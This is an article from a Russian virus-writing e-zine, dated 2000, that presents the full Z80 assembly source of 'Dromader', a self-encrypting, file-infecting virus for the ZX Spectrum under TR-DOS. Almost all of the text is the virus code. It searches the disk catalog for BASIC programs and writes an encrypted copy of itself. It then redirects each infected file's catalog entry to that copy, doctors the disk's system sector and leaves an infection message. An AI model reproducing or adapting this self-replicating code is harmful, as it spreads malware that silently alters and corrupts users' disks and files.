_____ _____     ___
    _,┌\/┐  :░  :░     :░ ╓ social distortion all about vx-scene ╖
 ,4\┘¤"``"¤┘  ll  l¤`     ll  ::;;;::;;....  ....:;..: ::...;.:;;;:;
:░(_          |    ___    ll ._
 `└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._  spectrum alive?! part 2 [2000]
_____ ``^"¤└/L, d7┘` ___  7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by DaemonSerj
$$$$|/┌,.__,┌\:`4│/┐,_  _ll  ``''""¤¤┘┘
$$$$|`└/|││|\┘`   `¤└/│:


   CyberPoizon:

   История со спектрумными вирусами, получила неожиданное продолжение!  :)))
 Соврешенно случайно,  на форуме Top Device'а, я  наткнулся  на  еще  одного
 автора вируса под ZX-Spectrum! Кто там говорил, что Spectrum умер? :)  Если
 серьезно, то данный вирус написан в 96 году,  не распространялся  и   ранее
 нигде не публиковался!  Автор вируса - DaemonSerj!  (ранее  публиковался  в
 DVL 10) Итак,  леди  и   джентельмены,  представляем вам еще один ZX вирус!
 Dromader!  Встречайте!

─[Dromader]───────────────────────[Strart]────────────────────────────────────

;Нерезидентный вирус для SPECTRUM 48 + TR-DOS

        ORG     ENTRY_POINT
        WOKRSP  EQU 0
        hBASLEN EQU 0
        lBASLEN EQU 0

        DI                          ; Запретим прерывания
        CALL    XORVIR              ; Расшифруем вирус
BEGIN   LD      HL,LOOP             ; Пересядем в положенную область
        LD      DE,WORKSP
        PUSH    DE
        LD      BC,LENGTH
        LDIR
        LD      HL,23867            ; Перепишем копию вируса
        LD      DE,COPY_VR
        LD      BC,BASLEN
        LDIR
        LD      HL,BEGIN-4          ; Сотрем вирус из строки...:)
        LD      D,H
        LD      E,L
        INC     DE
        LD      BC,LENVIR
        LD      (HL),32
        JP      13251               ; Стереть и JP (DE)

LOOP    PHASE   WORKSP

        LD      (BUF_SP),SP         ; Сохраним SP
        LD      SP,WORKSP-1         ; Новый стек
        LD      HL,51697            ; POP AF,RET
        LD      (23746),HL          ; Будем пропускать ошибки - BREAK
        LD      HL,CAT              ; Считаем каталог
        LD      DE,0
        LD      BC,2053
        XOR     A
        LD      (23824),A
        CALL    15635               ; Диспетчер ДОС
        DI
        LD      DE,16               ; шаг - длинна элемента каталога
        LD      IX,CAT+8            ; В элементе каталога указывает на тип
        LD      B,128               ; 128 элементов
FND     LD      A,'B'
        CP      (IX+0)              ; BASIC файл ?
        JR      Z,COMPARE
DALEE   ADD     IX,DE               ; Ищем в каталоге BASIC файл
        DJNZ    FND
        JP      DR_MOVE             ; Нет бейсик файлов - на выход
COMPARE LD      A,lBASLEN
        CP      (IX+1)              ; Равна ли длинна длинне вируса
        JR      NZ,FOUND            ; Если да, то файл уже заражен
        LD      A,hBASLEN
        CP      (IX+2)
        JR      Z,DALEE             ; Берем следующий
FOUND   LD      B,8
        PUSH    IX
        PUSH    IX
        POP     HL                  ; На начало элемента
        DEC     HL
        DJNZ    $-1
        LD      DE,LP_DATA          ; Скопируем в копию вируса
        LD      BC,16
        LDIR
        LD      HL,VR_DATA          ; Занесем имя вируса в буфер
        LD      DE,23773
        LD      BC,9
        LDIR
        LD      IX,START            ; Зашифруем копию
        CALL    WRKXOR
        LD      HL,BASLEN+COPY_VR   ; Доделываем копию вируса
        LD      (HL),128
        INC     HL                  ; Идентификаторы TRDOS BASIC
        LD      (HL),170
        INC     HL
        LD      (HL),1              ; Автостарт с первой строки
        INC     HL
        LD      (HL),0
        LD      HL,5577             ; Обработка ошибок Enabled
        LD      (23746),HL
        LD      HL,COPY_VR          ; Создаем файл
        LD      DE,BASLEN+4         ; (не BASIC)
        LD      C,11                ; Но TRDOS он будет виден как BASIC
        CALL    15635
        DI
        LD      HL,51697            ; Обработка ошибок Disabled
        LD      (23746),HL
        LD      HL,CAT              ; Читаем каталог и системный сектор
        LD      DE,0
        LD      BC,2309
        CALL    15635
        DI                          ; Ищем в каталоге име созданного вируса
        LD      HL,CAT
        PUSH    HL
NXTCMP  POP     HL
        LD      DE,VR_DATA
        LD      BC,2048
        LD      A,(DE)
        CPIR
        PUSH    HL
        LD      B,8
CMP2    INC     DE
        LD      A,(DE)
        CP      (HL)
        JR      NZ,NXTCMP
        INC     HL
        DJNZ    CMP2
        POP     HL
        DEC     HL                  ; Обьявляем его стертым
        XOR     A
        LD      (HL),A
        PUSH    HL                  ; IX - на имя вируса в каталоге
        POP     IX
        POP     HL                  ; HL - на имя заражаемой программы
        INC     HL
        LD      (IX+8),A            ; Зануляем тип
        LD      E,(IX+11)           ; Берем длинну
        LD      D,(IX+12)
        DEC     DE
        DEC     DE                  ; четыре ID байта TRDOS не считаются
        DEC     DE
        DEC     DE
        LD      (HL),E              ; Скопируем в элемент каталога
        INC     HL                  ; заражаемой программы
        LD      (HL),D
        INC     HL
        LD      (HL),E
        INC     HL
        LD      (HL),D
        INC     HL
        INC     HL
        LD      D,(IX+13)
        PUSH    DE
        LD      E,(IX+14)           ; Копируем номер трека и сектора
        LD      D,(IX+15)
        LD      (HL),E
        INC     HL
        LD      (HL),D
        PUSH    IX                  ; Отьедем на системную область
        POP     HL                  ; элемента каталога
        LD      B,9
        INC     HL
        DJNZ    $-1
        CPL                         ; A = FF
        LD      D,H                 ; Затрем все данные в имени вируса
        LD      E,L                 ; в каталоге
        INC     DE
        LD      BC,6
        LD      (HL),A
        LDIR
        LD      HL,TR_SEC+0E4H      ; Уменьшили кол-во файлов на диске
        DEC     (HL)                ; в служебном секторе
        LD      HL,(TR_SEC+0E5H)    ; Количество свободных секторов на диске
        POP     BC                  ; Число секторов вируса
        INC     HL
        DJNZ    $-1                 ; Увеличим
        LD      (TR_SEC+0E5H),HL
        LD      HL,MESSAGE          ; Поместим мессагу...
        LD      DE,TR_SEC+8
        LD      BC,MESLEN
        LDIR
        INC     DE
        EX      DE,HL
        INC     (HL)                ; Число заражений на данном диске
        LD      HL,CAT              ; Пишем каталог
        LD      DE,0
        LD      BC,2310
        CALL    15635
        DI
DR_MOVE

LOADING DI
        XOR     A               ; Считаем в дескриптор первый
        LD      C,8             ; элемент каталога
        CALL    15635
        DI                      ; Обменяем с именем текущего носителя
        CALL    EXCH
        XOR     A               ; Запишем...
        LD      C,9
        CALL    15635
        XOR     A               ; Читаем настоящую программу
        LD      (23801),A
        ADD     A,65
        LD      HL,5577
        LD      (23746),HL
        LD      C,14
        CALL    15635
        DI
        LD      HL,23734          ; Swap область данных TRDOS
        LD      DE,TR_COPY
        LD      BC,23867-23734
        LDIR
        CALL    EXCH              ; Обменяем обратно
        XOR     A
        LD      C,9               ; Запишем обратно
        CALL    15635
        DI
        LD      HL,TR_COPY        ; Восстановим область данных TRDOS
        LD      DE,23734
        LD      BC,23867-23734
        LDIR
        LD      HL,23773          ; Похерим имя программы
        LD      D,H
        LD      E,L
        INC     DE
        LD      (HL),255
        LD      BC,15
        LDIR
        LD      SP,(BUF_SP)       ; Восстановим стек
        LD      HL,7788           ; Адрес подпрограммы RUN в BIOS
        PUSH    HL
        LD      IX,MAIN_PR
        LD      L,(IX+9)
        LD      H,(IX+10)
        INC     HL
        INC     HL
        LD      DE,23867
        ADD     HL,DE
        LD      E,(HL)
        INC     HL
        LD      D,(HL)            ; Строка запуска - у нас 1
        PUSH    DE
        XOR     A
        EI
        LD      HL,WORKSP-64      ; Затрем вирус со всем остальным
        LD      DE,WORKSP-63
        LD      (HL),A
        LD      BC,WRKLEN
        JP      11179             ; В BIOS
EXCH    LD      HL,23773
        LD      DE,MAIN_PR
        LD      B,16
EXXX    LD      A,(HL)
        EX      AF,AF'
        LD      A,(DE)
        LD      (HL),A
        EX      AF,AF'
        LD      (DE),A
        INC     HL
        INC     DE
        DJNZ    EXXX
        RET

MESSAGE DEFM    " This disk infected by DROMADER ver1.01 "
VR_DATA DEFM    " ver1.01C"
BUF_SP  DEFW    0
MAIN_PR DEFS    16

        UNPHASE
END     EQU     $

XORVIR  LD      IX,BEGIN
WRKXOR  LD      BC,LENXOR
        LD      A,65
        LD      R,A
XORMET  LD      A,R
        XOR     170
        NEG
        XOR     B
        LD      R,A
        XOR     (IX+0)
        CPL
        XOR     65
        XOR     C
        LD      (IX+0),A
        INC     IX
        DEC     BC
        LD      A,B
        OR      C
        JR      NZ,XORMET
        RET

;-------EQUALS-------
ENDVIR  EQU     $
LENGTH  EQU     ENDVIR-LOOP
LENVIR  EQU     ENDVIR-BEGIN+3
LENXOR  EQU     END-BEGIN
COPY_VR EQU     WORKSP-LENGTH+1
BASLEN  EQU     hBASLEN*256+lBASLEN
CAT     EQU     COPY_VR+BASLEN+4
TR_SEC  EQU     CAT+2048
WRKXOR  EQU     MAIN_PR+20
MESLEN  EQU     VR_DATA-MESSAGE
START   EQU     COPY_VR+BEGIN-23867
LP_DATA EQU     COPY_VR+END-16-23867
TR_COPY EQU     TR_SEC+256+1
WRKLEN  EQU     TR_COPY+23867-23734-WORKSP+64


─[Dromader]───────────────────────[End]───────────────────────────────────────


   P.S: Ассемблеры, дебагеры, дизассемблеры, эмуляторы  для  Spectrum'а,  Вы
        можете найти на сайте Virtual Tr-DOS, по адресу http://www.zx.ru/vt.